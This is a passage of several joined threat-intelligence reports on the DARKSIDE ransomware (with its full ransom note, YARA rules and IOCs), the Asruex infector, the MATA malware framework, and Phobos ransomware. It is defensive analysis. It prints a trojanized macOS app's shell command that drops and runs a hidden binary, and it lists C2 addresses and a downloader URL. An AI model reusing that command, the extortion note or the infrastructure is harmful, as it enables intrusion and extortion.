WOW64, it executes a PowerShell command to delete volume shadow copies. If the malware is not running under WOW64, it uses COM objects and WMI commands to delete volume shadow copies. ### System Manipulation Any service the name of which contains one of the specified strings is stopped and deleted. The version observed in May 2021 is additionally configured to stop and delete services containing additional specified strings. ### File Encryption Based on its configuration, the malware targets fixed and removable disks as well as network shares. Some processes may be terminated so associated files can be successfully encrypted. However, the malware does not terminate processes listed in a specified exclusion list. The malware uses specified strings to ignore certain directories during the encryption process. The files listed in a specified exclusion list are ignored. ### Ransom Note The malware writes the ransom note to README<ransom_ext>.TXT files written to directories it traverses. ``` ----------- [ Welcome to Dark ] ------------- What happened? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more than 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: [REDACTED] The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: [REDACTED] 2) Open our website: [REDACTED] When you open our website, put the following data in the input form: Key: [REDACTED] !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!! ``` ## Appendix B: Indicators for Detection and Hunting ### Yara Detections The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify related activity; however, they may need adjustment over time if the malware family changes. **rule Ransomware_Win_DARKSIDE_v1__1** ```yara { meta: author = "FireEye" date_created = "2021-03-22" description = "Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values." md5 = "1a700f845849e573ab3148daef1a3b0b" strings: $consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 } condition: (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $consts } ``` **rule Dropper_Win_Darkside_1** ```yara { meta: author = "FireEye" date_created = "2021-05-11" description = "Detection for on the binary that was used as the dropper leading to DARKSIDE." strings: $CommonDLLs1 = "KERNEL32.dll" fullword $CommonDLLs2 = "USER32.dll" fullword $CommonDLLs3 = "ADVAPI32.dll" fullword $CommonDLLs4 = "ole32.dll" fullword $KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 } $KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 } $Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C } condition: filesize < 2MB and filesize > 500KB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (all of ($CommonDLLs*)) and (all of ($KeyString*)) and $Slashes } ``` **rule Backdoor_Win_C3_1** ```yara { meta: author = "FireEye" date_created = "2021-05-11" description = "Detection to identify the Custom Command and Control (C3) binaries." md5 = "7cdac4b82a7573ae825e5edb48f80be5" strings: $dropboxAPI = "Dropbox-API-Arg" $knownDLLs1 = "WINHTTP.dll" fullword $knownDLLs2 = "SHLWAPI.dll" fullword $knownDLLs3 = "NETAPI32.dll" fullword $knownDLLs4 = "ODBC32.dll" fullword $tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E } $tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E } $tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E } condition: filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (((all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or (all of ($tokenString*))) } ``` ## Detecting DARKSIDE FireEye products detect this activity at multiple stages of the attack lifecycle. The following table contains specific detections intended to identify and prevent malware and methods seen at these intrusions. For brevity, this list does not include FireEye’s existing detections for BEACON, BloodHound/SharpHound, and other common tools and malware that FireEye has observed both in this campaign and across a broad range of intrusion operations. | Platform(s) | Detection Name | |------------------------------|----------------| | Network Security | Ransomware.SSL.DarkSide | | Email Security | Trojan.Generic | | Detection On Demand | Ransomware.Linux.DARKSIDE | | Malware Analysis | Ransomware.Win.Generic.MVX | | File Protect | Ransomware.Win.DARKSIDE.MVX | | | Ransomware.Linux.DARKSIDE.MVX | | | Ransomware.Win32.DarkSide.FEC3 | | | FE_Ransomware_Win_DARKSIDE_1 | | | FE_Ransomware_Win32_DARKSIDE_1 | | | FE_Ransomware_Linux64_DARKSIDE_1 | | | FE_Ransomware_Linux_DARKSIDE_1 | | | FEC_Trojan_Win32_Generic_62 | | | FE_Loader_Win32_Generic_177 | | | FE_Loader_Win32_Generic_197 | | | FE_Backdoor_Win_C3_1 | | | FE_Backdoor_Win32_C3_1 | | | FE_Backdoor_Win32_C3_2 | | | FE_Backdoor_Win_C3_2 | ## Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation. | VID | Title | |---------------|-------| | A101-700 | Malicious File Transfer - DARKSIDE, Download, Variant #2 | | A101-701 | Malicious File Transfer - DARKSIDE, Download, Variant #3 | | A101-702 | Malicious File Transfer - DARKSIDE, Download, Variant #4 | | A101-703 | Malicious File Transfer - DARKSIDE, Download, Variant #5 | | A101-704 | Malicious File Transfer - DARKSIDE, Download, Variant #6 | | A101-705 | Malicious File Transfer - DARKSIDE, Download, Variant #7 | | A101-706 | Malicious File Transfer - DARKSIDE, Download, Variant #8 | | A101-707 | Malicious File Transfer - DARKSIDE, Download, Variant #9 | | A101-708 | Malicious File Transfer - DARKSIDE, Download, Variant #10 | | A101-709 | Malicious File Transfer - DARKSIDE, Download, Variant #11 | | A101-710 | Malicious File Transfer - DARKSIDE, Download, Variant #12 | | A101-711 | Malicious File Transfer - DARKSIDE, Download, Variant #13 | | A101-712 | Malicious File Transfer - DARKSIDE, Download, Variant #14 | | A101-713 | Malicious File Transfer - DARKSIDE, Download, Variant #15 | | A101-714 | Malicious File Transfer - DARKSIDE, Download, Variant #16 | | A101-715 | Malicious File Transfer - DARKSIDE, Download, Variant #17 | | A101-716 | Malicious File Transfer - DARKSIDE, Download, Variant #18 | | A101-717 | Malicious File Transfer - DARKSIDE, Download, Variant #19 | | A101-718 | Malicious File Transfer - DARKSIDE, Download, Variant #20 | | A101-719 | Malicious File Transfer - DARKSIDE, Download, Variant #21 | | A101-720 | Malicious File Transfer - DARKSIDE, Download, Variant #22 | | A101-721 | Malicious File Transfer - DARKSIDE, Download, Variant #23 | | A101-722 | Malicious File Transfer - DARKSIDE, Download, Variant #24 | | A101-723 | Malicious File Transfer - DARKSIDE, Download, Variant #25 | | A101-724 | Malicious File Transfer - DARKSIDE, Download, Variant #26 | | A101-725 | Malicious File Transfer - DARKSIDE, Download, Variant #27 | | A101-726 | Malicious File Transfer - DARKSIDE, Download, Variant #28 | | A101-727 | Malicious File Transfer - DARKSIDE, Download, Variant #29 | | A101-728 | Malicious File Transfer - DARKSIDE, Download, Variant #30 | | A101-729 | Malicious File Transfer - DARKSIDE, Download, Variant #31 | | A101-730 | Malicious File Transfer - DARKSIDE, Download, Variant #32 | | A101-731 | Malicious File Transfer - DARKSIDE, Download, Variant #33 | | A101-732 | Malicious File Transfer - DARKSIDE, Download, Variant #34 | | A101-733 | Malicious File Transfer - DARKSIDE, Download, Variant #35 | | A101-734 | Malicious File Transfer - DARKSIDE, Download, Variant #36 | | A101-735 | Malicious File Transfer - NGROK, Download, Variant #1 | | A101-736 | Malicious File Transfer - UNC2465, LNK Downloader for SMOKEDHAM, Download | | A101-737 | Malicious File Transfer - BEACON, Download, Variant #3 | | A101-738 | Data Exfiltration - RCLONE, Exfil Over SFTP | | A101-739 | Malicious File Transfer - RCLONE, Download, Variant #2 | | A101-740 | Command and Control - DARKSIDE, DNS Query, Variant #1 | | A101-741 | Command and Control - DARKSIDE, DNS Query, Variant #2 | | A101-742 | Application Vulnerability - SonicWall, CVE-2021-20016, SQL Injection | | A104-771 | Protected Theater - DARKSIDE, PsExec Execution | | A104-772 | Host CLI - DARKSIDE, Windows Share Creation | | A104-773 | Protected Theater - DARKSIDE, Delete Volume Shadow Copy | ### Related Indicators **UNC2628** - 104.193.252[.]197:443 BEACON C2 - 162.244.81[.]253:443 BEACON C2 - 185.180.197[.]86:443 BEACON C2 - athaliaoriginals[.]com BEACON C2 - lagrom[.]com BEACON C2 **UNC2659** - 173.234.155[.]208 Login Source **UNC2465** - 81.91.177[.]54:7234 Remote Access - koliz[.]xyz File Hosting - los-web[.]xyz EMPIRE C2 - sol-doc[.]xyz Malicious Infrastructure - hxxp://sol-doc[.]xyz/sol/ID-482875588 Downloader URL - 6c9cda97d945ffb1b63fd6aabcb6e1a8 Downloader LNK - 7c8553c74c135d6e91736291c8558ea8 VBS Launcher - 27dc9d3bcffc80ff8f1776f39db5f0a4 Ngrok Utility ### DARKSIDE Ransomware Encryptor **DARKSIDE Sample MD5** - 04fde4340cc79cd9e61340d4c1e8ddfb - 0e178c4808213ce50c2540468ce409d3 - 0ed51a595631e9b4d60896ab5573332f - 130220f4457b9795094a21482d5f104b - 1a700f845849e573ab3148daef1a3b0b - 1c33dc87c6fdb80725d732a5323341f9 - 222792d2e75782516d653d5cccfcf33b - 29bcd459f5ddeeefad26fc098304e786 - 3fd9b0117a0e79191859630148dcdc6d - 47a4420ad26f60bb6bba5645326fa963 - 4d419dc50e3e4824c096f298e0fa885a - 5ff75d33080bb97a8e6b54875c221777 - 66ddb290df3d510a6001365c3a694de2 - 68ada5f6aa8e3c3969061e905ceb204c - 69ec3d1368adbe75f3766fc88bc64afc - 6a7fdab1c7f6c5a5482749be5c4bf1a4 - 84c1567969b86089cc33dccf41562bcd - 885fc8fb590b899c1db7b42fe83dddc3 - 91e2807955c5004f13006ff795cb803c - 9d418ecc0f3bf45029263b0944236884 - 9e779da82d86bcd4cc43ab29f929f73f - a3d964aaf642d626474f02ba3ae4f49b - b0fd45162c2219e14bdccab76f33946e - b278d7ec3681df16a541cf9e34d3b70a - b9d04060842f71d1a8f3444316dc1843 - c2764be55336f83a59aa0f63a0b36732 - c4f1a1b73e4af0fbb63af8ee89a5a7fe - c81dae5c67fb72a2c2f24b178aea50b7 - c830512579b0e08f40bc1791fc10c582 - cfcfb68901ffe513e9f0d76b17d02f96 - d6634959e4f9b42dfc02b270324fa6d9 - e44450150e8683a0addd5c686cd4d202 - f75ba194742c978239da2892061ba1b4 - f87a2e1c3d148a67eaeb696b1ab69133 - f913d43ba0a9f921b1376b26cd30fa34 - f9fc1a1a95d5723c140c2a8effc93722
# Asruex Backdoor Infects Files Via Old Vulnerabilities Since it first emerged in 2015, Asruex has been known for its backdoor capabilities and connection to the spyware DarkHotel. However, when we encountered Asruex in a PDF file, we found that a variant of the malware can also act as an infector particularly through the use of old vulnerabilities CVE-2012-0158 and CVE-2010-2883, which inject code in Word and PDF files respectively. The use of old, patched vulnerabilities could hint that the variant was devised knowing that it can affect targets who have been using older versions of Adobe Reader (versions 9.x up to before 9.4) and Acrobat (versions 8.x up to before 8.2.5) on Windows and Mac OS X. Because of this unique infection capability, security researchers might not consider checking files for an Asruex infection and continue to watch out for its backdoor abilities exclusively. Awareness of this new infection method could help users defend against the malware variant. ## Technical details Asruex infects a system through a shortcut file that has a PowerShell download script and spreads through removable drives and network drives. ### Infected PDF files We first encountered this variant as a PDF file. Further investigation revealed that the PDF file itself was not a malicious file created by the actors behind this variant. It was simply a file infected by the Asruex variant. Infected PDF files would drop and execute the infector in the background if executed using older versions of Adobe Reader and Adobe Acrobat. As it does so, it still displays or opens the content of the original PDF host file. This tricks the user into believing that the PDF had acted normally. This behavior is due to a specially crafted template that takes advantage of the CVE-2010-2883 vulnerability while appending the host file. The vulnerability is found in the `strcat` function of Adobe’s CoolType.dll, which is a typography engine. Since this function does not check the length of the font to be registered, it can cause a stack buffer overflow to execute its shellcode. Finally, it decrypts the original PDF host file using XOR. It will then drop and execute the embedded executable detected as Virus.Win32.ASRUEX.A.orig. This executable is responsible for several anti-debugging and anti-emulation functions. It detects if `avast! Sandbox\WINDOWS\system32\kernel32.dll` exists on any root, as an anti-debugging measure. It then checks the following information to determine if it is running in a sandbox environment: - Computer names and user names - Exported functions by loaded modules - File names - Running processes - Module version of running process - Certain strings in disk names The executable file also injects the DLL `c982d2ab066c80f314af80dd5ba37ff9dd99288f` (detected as Virus.Win32.ASRUEX.A.orig) into a legitimate Windows process memory. This DLL is responsible for the malware's infection and backdoor capabilities. It infects files with file sizes between 42,224 bytes and 20,971,520 bytes, possibly as a parameter to narrow down host files into which their malware code could fit. ### Infected Word documents As mentioned earlier, it uses a specially crafted template to exploit the CVE-2012-0158 vulnerability to infect Word documents. The CVE-2012-0158 vulnerability allows possible attackers to execute arbitrary code remotely through a Word document or website. Similar to infected PDFs, it will drop and execute the infector in the background upon execution of the infected Word document file. At the same time, it will display the original DOC host file, letting users believe that the opened document is normal. The infected file would use XOR to decrypt the original DOC host file. The file would open like normal, with the only difference found in the filename used by the infector. It drops and executes itself as `rundll32.exe`. ### Infected executables Aside from the Word documents and PDF files, the malware also infects executable files. This Asruex variant compresses and encrypts the original executable file or host file and appends it as its .EBSS section. This allows the malware to drop the infector while also executing the host file like normal. For infected executable files, the filename used by the infector when dropped is randomly assigned. ## Conclusion and security recommendations As mentioned earlier, past reports have tagged Asruex for its backdoor capabilities. The discovery of this particular infection capability can help create adequate defenses against the malware variant. This case is notable for its use of vulnerabilities that have been discovered (and patched) over five years ago, when we’ve been seeing this malware variant in the wild for only a year. This hints that the cybercriminals behind it had devised the variant knowing that users have not yet patched or updated to newer versions of the Adobe Acrobat and Adobe Reader software. Understandably, this could pose a challenge for organizations as updating widely-used software could result in downtime of critical servers, and it could be costly and time-consuming. If patching and updating might not be a present option, organizations can consider security measures like virtual patching to help complement existing security measures and patch management processes. In general, users can take the necessary measures to defend against similar threats by following security best practices. We list down some of the steps users can take to defend against Asruex and similar malware: - Always scan removable drives before executing any file that may be stored in it. - Avoid accessing suspicious or unknown URLs. - Be cautious when opening or downloading email attachments, especially from unknown or unsolicited email. Users and enterprises can also benefit from a solution that uses a multilayered approach against threats that are similar to Asruex. We recommend employing endpoint application control that reduces attack exposure by ensuring that only files, documents, and updates associated with whitelisted applications and sites can be installed, downloaded, and viewed. Endpoint solutions powered by XGen™ security such as Trend Micro™ Security and Trend Micro Network Defense can detect related malicious files and URLs and protect users’ systems. Trend Micro™ Smart Protection Suites and Trend Micro Worry-Free™ Business Security, which have behavior monitoring capabilities, can additionally protect from these types of threats by detecting malicious files, as well as blocking all related malicious URLs. ## Indicators of Compromise (IoCs) **SHA256**: b261f49fb6574af0bef16765c3db2900a5d3ca24639e9717bc21eb28e1e6be77 **Detection Name**: Virus.Win32.ASRUEX.A.orig
# MATA: Multi-platform Targeted Malware Framework As the IT and OT environment becomes more complex, adversaries are quick to adapt their attack strategy. For example, as users’ work environments diversify, adversaries are busy acquiring the TTPs to infiltrate systems. Recently, we reported to our Threat Intelligence Portal customers a similar malware framework that internally we called MATA. The MATA malware framework possesses several components, such as loader, orchestrator, and plugins. This comprehensive framework is able to target Windows, Linux, and macOS operating systems. The first artefacts we found relating to MATA were used around April 2018. After that, the actor behind this advanced malware framework used it aggressively to infiltrate corporate entities around the world. We identified several victims from our telemetry and figured out the purpose of this malware framework. ## Windows Version of MATA The Windows version of MATA consists of several components. According to our telemetry, the actor used a loader malware to load the encrypted next-stage payload. We’re not sure that the loaded payload is the orchestrator malware, but almost all victims have the loader and orchestrator on the same machine. ### Component of the Windows Version of MATA **Loader** This loader takes a hardcoded hex-string, converts it to binary, and AES-decrypts it in order to obtain the path to the payload file. Each loader has a hard-coded path to load the encrypted payload. The payload file is then AES-decrypted and loaded. From the loader malware found on one of the compromised victims, we discovered that the parent process which executes the loader malware is the “C:\Windows\System32\wbem\WmiPrvSE.exe” process. The WmiPrvSE.exe process is “WMI Provider Host process”, and it usually means the actor has executed this loader malware from a remote host to move laterally. Therefore, we assess that the actor used this loader to compromise additional hosts in the same network. **Orchestrator and Plugins** We discovered the orchestrator malware in the lsass.exe process on victims’ machines. This orchestrator malware loads encrypted configuration data from a registry key and decrypts it with the AES algorithm. Unless the registry value exists, the malware uses hard-coded configuration data. The following is a configuration value example from one orchestrator malware sample: - **Victim ID**: Random 24-bit number - **Internal version number**: 3.1.1 (0x030101) - **Timeout**: 20 minutes - **C2 addresses**: - 108.170.31[.]81:443 - 192.210.239[.]122:443 - 111.90.146[.]105:443 - **Disk path or URL of plugin (up to 15) to be loaded on start**: Not used in this malware The orchestrator can load 15 plugins at the same time. There are three ways to load them: 1. Download the plugin from the specified HTTP or HTTPS server 2. Load the AES-encrypted plugin file from a specified disk path 3. Download the plugin file from the current MataNet connection The malware authors call their infrastructure MataNet. For covert communication, they employ TLS1.2 connections with the help of the “openssl-1.1.0f” open source library, which is statically linked inside this module. Additionally, the traffic between MataNet nodes is encrypted with a random RC4 session key. MataNet implements both client and server mode. In server mode, the certificate file “c_2910.cls” and the private key file “k_3872.cls” are loaded for TLS encryption. However, this mode is never used. The MataNet client establishes periodic connections with its C2. Every message has a 12-byte-long header, where the first DWORD is the message ID and the rest is the auxiliary data, as described in the table below: | Message ID | Description | |------------|-------------| | 0x400 | Complete the current MataNet session and delay the next session until the number of logical drives is changed or a new active user session is started. | | 0x500 | Delete configuration registry key and stop MATA execution until next reboot. | | 0x601 | Send configuration data to C2. | | 0x602 | Download and set new configuration data. | | 0x700 | Send the C2 the infected host basic information such as victim ID, internal version number, Windows version, computer name, user name, IP address, and MAC address. | | 0x701 | Send the C2 the configuration settings such as victim ID, internal version number, and session timeout. | The main functionality of the orchestrator is loading each plugin file and executing them in memory. Each DLL file type plugin provides an interface for the orchestrator and provides rich functionality that can control infected machines. ### Plugin Descriptions | Plugin Name | Description | |----------------------------------|-------------| | MATA_Plug_Cmd.dll | Run “cmd.exe /c” or “powershell.exe” with the specified parameters, and receive the output of the command execution. | | MATA_Plug_Process.dll | Manipulate process (listing process, killing process, creating process, creating process with logged-on user session ID). | | MATA_Plug_TestConnect.dll | Check TCP connection with given IP:port or IP range. Ping given host or IP range. | | MATA_Plug_WebProxy.dll | Create a HTTP proxy server. The server listens for incoming TCP connections on the specified port, processing CONNECT requests from clients to the HTTP server and forwarding all traffic between client and server. | | MATA_Plug_File.dll | Manipulate files (write received data to given file, send given file after LZNT1 compression, compress given folder to %TEMP%\~DESKTOP[8random hex].ZIP and send, wipe given file, search file, list file and folder, timestomping file). | | MATA_Plug_Load.dll | Inject DLL file into the given process using PID and process name, or inject XORed DLL file into given process, optionally call export function with arguments. | | MATA_Plug_P2PReverse.dll | Connect between MataNet server on one side and an arbitrary TCP server on the other, then forward traffic between them. IPs and ports for both sides are specified on the call to this interface. | There is an interesting string inside the MATA_Plug_WebProxy plugin – “Proxy-agent: matt-dot-net” – which is a reference to Matt McKnight’s open source project. There are some differences though. Matt’s project is written in C# rather than C++. The MATA proxy is noticeably simpler, as there is no cache and no SSL support, for instance. It’s possible that MATA’s authors found and used the source code of an early version of Matt’s proxy server. It looks like the malware author rewrote the code from C# to C++ but left this footprint unchanged. ## Non-Windows Version of MATA The MATA framework targets not only the Windows system but also Linux and macOS systems. ### Linux Version During our research, we also found a package containing different MATA files together with a set of hacking tools. In this case, the package was found on a legitimate distribution site, which might indicate that this is the way the malware was distributed. It included a Windows MATA orchestrator, a Linux tool for listing folders, scripts for exploiting Atlassian Confluence Server (CVE-2019-3396), a legitimate socat tool, and a Linux version of the MATA orchestrator bundled together with a set of plugins. China-based security vendor Netlab also published a highly detailed blog on this malware. The module is designed to run as a daemon. Upon launch, the module checks if it is already running by reading the PID from “/var/run/init.pid” and checks if the “/proc/%pid%/cmdline” file content is equal to “/flash/bin/mountd”. Note that “/flash/bin/mountd” is an unusual path for standard Linux desktop or server installations. This path suggests that MATA’s Linux targets are diskless network devices such as routers, firewalls, or IoT devices based on x86_64. The module can be run with the “/pro” switch to skip the “init.pid” check. The AES-encrypted configuration is stored in the “$HOME/.memcache” file. The behavior of this module is the same as the Windows MATA orchestrator previously described. The plugin names of Linux MATA and the corresponding Windows plugins are: | Linux Plugin | Corresponding Windows Plugin | |-----------------------|------------------------------| | /bin/bash | MATA_Plug_Cmd | | plugin_file | MATA_Plug_File | | plugin_process | MATA_Plug_Process | | plugin_test | MATA_Plug_TestConnect | | plugin_reverse_p2p | MATA_Plug_P2PReverse | Note that the Linux version of MATA has a logsend plugin. This plugin implements an interesting new feature, a “scan” command that tries to establish a TCP connection on ports 8291 (used for administration of MikroTik RouterOS devices) and 8292 (“Bloomberg Professional” software) and random IP addresses excluding addresses belonging to private networks. Any successful connection is logged and sent to the C2. These logs might be used by attackers for target selection. ### macOS Version We discovered another MATA malware target for macOS uploaded to VirusTotal on April 8, 2020. The malicious Apple Disk Image file is a Trojanized macOS application based on an open-source two-factor authentication application named MinaOTP. **Trojanized macOS Application** The Trojanized main TinkaOTP module is responsible for moving the malicious Mach-O file to the Library folder and executing it using the following command: ``` cp TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib ~/Library/.mina > /dev/null 2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev/null 2>&1 ``` Upon launch, this malicious Mach-O file loads the initial configuration file from “/Library/Caches/com.apple.appstotore.db”. Like another strain running on a different platform, the macOS MATA malware also runs on a plugin basis. Its plugin list is almost identical to the Linux version, except that it also contains a plugin named “plugin_socks”. The “plugin_socks” plugin is similar to “plugin_reverse_p2p” and is responsible for configuring proxy servers. ## Victims Based on our telemetry, we have been able to identify several victims who were infected by the MATA framework. The infection is not restricted to a specific territory. Victims were recorded in Poland, Germany, Turkey, Korea, Japan, and India. Moreover, the actor compromised systems in various industries, including a software development company, an e-commerce company, and an internet service provider. We assess that MATA was used by an APT actor, and from one victim, we identified one of their intentions. After deploying MATA malware and its plugins, the actor attempted to find the victim’s databases and execute several database queries to acquire customer lists. We’re not sure if they completed the exfiltration of the customer database, but it’s certain that customer databases from victims are one of their interests. In addition, MATA was used to distribute VHD ransomware to one victim, something that will be described in detail in an upcoming blog post. ## Attribution We assess that the MATA framework is linked to the Lazarus APT group. The MATA orchestrator uses two unique filenames, c_2910.cls and k_3872.cls, which have only previously been seen in several Manuscrypt variants, including the samples mentioned in the US-CERT publication. Moreover, MATA uses global configuration data including a randomly generated session ID, date-based version information, a sleep interval, and multiple C2s and C2 server addresses. We’ve seen that one of the Manuscrypt variants shares a similar configuration structure with the MATA framework. This old Manuscrypt variant is an active backdoor that has similar configuration data such as session ID, sleep interval, number of C2 addresses, infected date, and C2 addresses. They are not identical, but they have a similar structure. ## Conclusion The MATA framework is significant in that it is able to target multiple platforms: Windows, Linux, and macOS. In addition, the actor behind this advanced malware framework utilized it for a type of cybercrime attack that steals customer databases and distributes ransomware. We evaluate that this malware is going to evolve, so we will be monitoring its activity in order to protect our customers. ## Indicators of Compromise **File Hashes (malicious documents, Trojans, emails, decoys)** **Windows Loader** - f364b46d8aafff67271d350b8271505a - 85dcea03016df4880cebee9a70de0c02 - 1060702fe4e670eda8c0433c5966feee - 7b068dfbea310962361abf4723332b3a - 8e665562b9e187585a3f32923cc1f889 - 6cd06403f36ad20a3492060c9dc14d80 - 71d8b4c4411f7ffa89919a3251e6e5cb - a7bda9b5c579254114fab05ec751918c - e58cfbc6e0602681ff1841afadad4cc6 - 7e4e49d74b59cc9cc1471e33e50475d3 - a93d1d5c2cb9c728fda3a5beaf0a0ffc - 455997E42E20C8256A494FA5556F7333 - 7ead1fbba01a76467d63c4a216cf2902 - 7d80175ea344b1c849ead7ca5a82ac94 - bf2765175d6fce7069cdb164603bd7dc - b5d85cfaece7da5ed20d8eb2c9fa477c - 6145fa69a6e42a0bf6a8f7c12005636b - 2b8ff2a971555390b37f75cb07ae84bd - 1e175231206cd7f80de4f6d86399c079 - 65632998063ff116417b04b65fdebdfb - ab2a98d3564c6bf656b8347681ecc2be - e3dee2d65512b99a362a1dbf6726ba9c - fea3a39f97c00a6c8a589ff48bcc5a8c - 2cd1f7f17153880fd80eba65b827d344 - 582b9801698c0c1614dbbae73c409efb - a64b3278cc8f8b75e3c86b6a1faa6686 - ca250f3c7a3098964a89d879333ac7c8 - ed5458de272171feee479c355ab4a9f3 - f0e87707fd0462162e1aecb6b4a53a89 - f1ca9c730c8b5169fe095d385bac77e7 - f50a0cd229b7bf57fcbd67ccfa8a5147 **Windows MATA** - bea49839390e4f1eb3cb38d0fcaf897e rdata.dat - 8910bdaaa6d3d40e9f60523d3a34f914 sdata.dat - 6a066cf853fe51e3398ef773d016a4a8 - 228998f29864603fd4966cadd0be77fc - da50a7a05abffb806f4a60c461521f41 - ec05817e19039c2f6cc2c021e2ea0016 **Registry Path** - HKLM\Software\Microsoft\KxtNet - HKLM\Software\Microsoft\HlqNet - HKLM\Software\mthjk **Linux MATA** - 859e7e9a11b37d355955f85b9a305fec mdata.dat - 80c0efb9e129f7f9b05a783df6959812 ldata.dat, mdata.dat - d2f94e178c254669fb9656d5513356d2 mdata.dat **Linux Log Collector** - 982bf527b9fe16205fea606d1beed7fa hdata.dat **Open-source Linux SoCat** - e883bf5fd22eb6237eb84d80bbcf2ac9 sdata.dat **Script for Exploiting Atlassian Confluence Server** - a99b7ef095f44cf35453465c64f0c70c check.vm, r.vm - 199b4c116ac14964e9646b2f27595156 r.vm **macOS MATA** - 81f8f0526740b55fe484c42126cd8396 TinkaOTP.dmg - f05437d510287448325bac98a1378de1 SubMenu.nib **C2 Addresses** - 104.232.71.7:443 - 107.172.197.175:443 - 108.170.31.81:443 - 111.90.146.105:443 - 111.90.148.132:443 - 172.81.132.41:443 - 172.93.184.62:443 - 172.93.201.219:443 - 185.62.58.207:443 - 192.210.239.122:443 - 198.180.198.6:443 - 209.90.234.34:443 - 216.244.71.233:443 - 23.227.199.53:443 - 23.227.199.69:443 - 23.254.119.12:443 - 67.43.239.146:443 - 68.168.123.86:443
# Luci Spools the Fun with Phobos Ransomware **Bex Nitert** Director, Digital Forensics & Incident Response Published on 3 March 2022 The Digital Forensics and Incident Response (DFIR) team at ParaFlare recently helped an Australian manufacturer impacted by Phobos ransomware. Unexpectedly, our investigation found the ransomware affiliate had exploited the PrintNightmare vulnerability to escalate privileges within two minutes of gaining initial access. To our knowledge, there are no documented examples of the PrintNightmare vulnerability being exploited by Phobos ransomware affiliates. So we decided to share our observations and indicators from the investigation. We are using the name “Luci” for this Phobos ransomware affiliate due to the frequency of the terms “Luci” and “Lucifer” appearing in filenames, code, registry values, and the name of the Local Administrator account created by Luci. In this article, we provide a brief introduction to the Phobos ransomware variant followed by technical details related to the use of a PrintNightmare exploit by Luci in the initial stages of the attack. Additional tools and techniques identified during the investigation will be discussed in a separate article. ## Phobos Ransomware Background Phobos ransomware is a form of malicious software used by threat actors to encrypt files on systems. The purpose is to extort a ransom fee from victims in exchange for restoring access to their data. Phobos affiliates are financially motivated and opportunistic. Most victims are small to medium-sized businesses, though individuals have been impacted too. The Phobos ransomware variant, closely related to Dharma and Crysis ransomware, first emerged in 2018 and is used by criminals with varying technical abilities. Actors that use Phobos ransomware are commonly known as “Phobos affiliates.” Distributors of Phobos provide a Ransomware as a Service (RaaS) style model to customers, enabling affiliates to undertake attacks without the need to develop their own file encrypting malware. Unlike many of the ransomware variants in the news (REvil, LockBit, Conti, etc.), Phobos ransomware operators are not currently known to conduct data exfiltration for use in double extortion style attacks (where a ransom fee is also demanded from victims to prevent the publication of stolen data). Phobos affiliates operate with greater autonomy, generally demand lower ransom amounts, and demonstrate less professionalism compared to more well-known ransomware variants. While not as high profile, Phobos was one of the most reported variants of ransomware in the first half of 2021, according to a report released by the Financial Crimes Enforcement Network (FinCEN) of the United States Treasury Department. FinCEN's observations were consistent with 2021 ransomware statistics published by Emisoft, which found Phobos was the third most commonly reported ransomware strain of 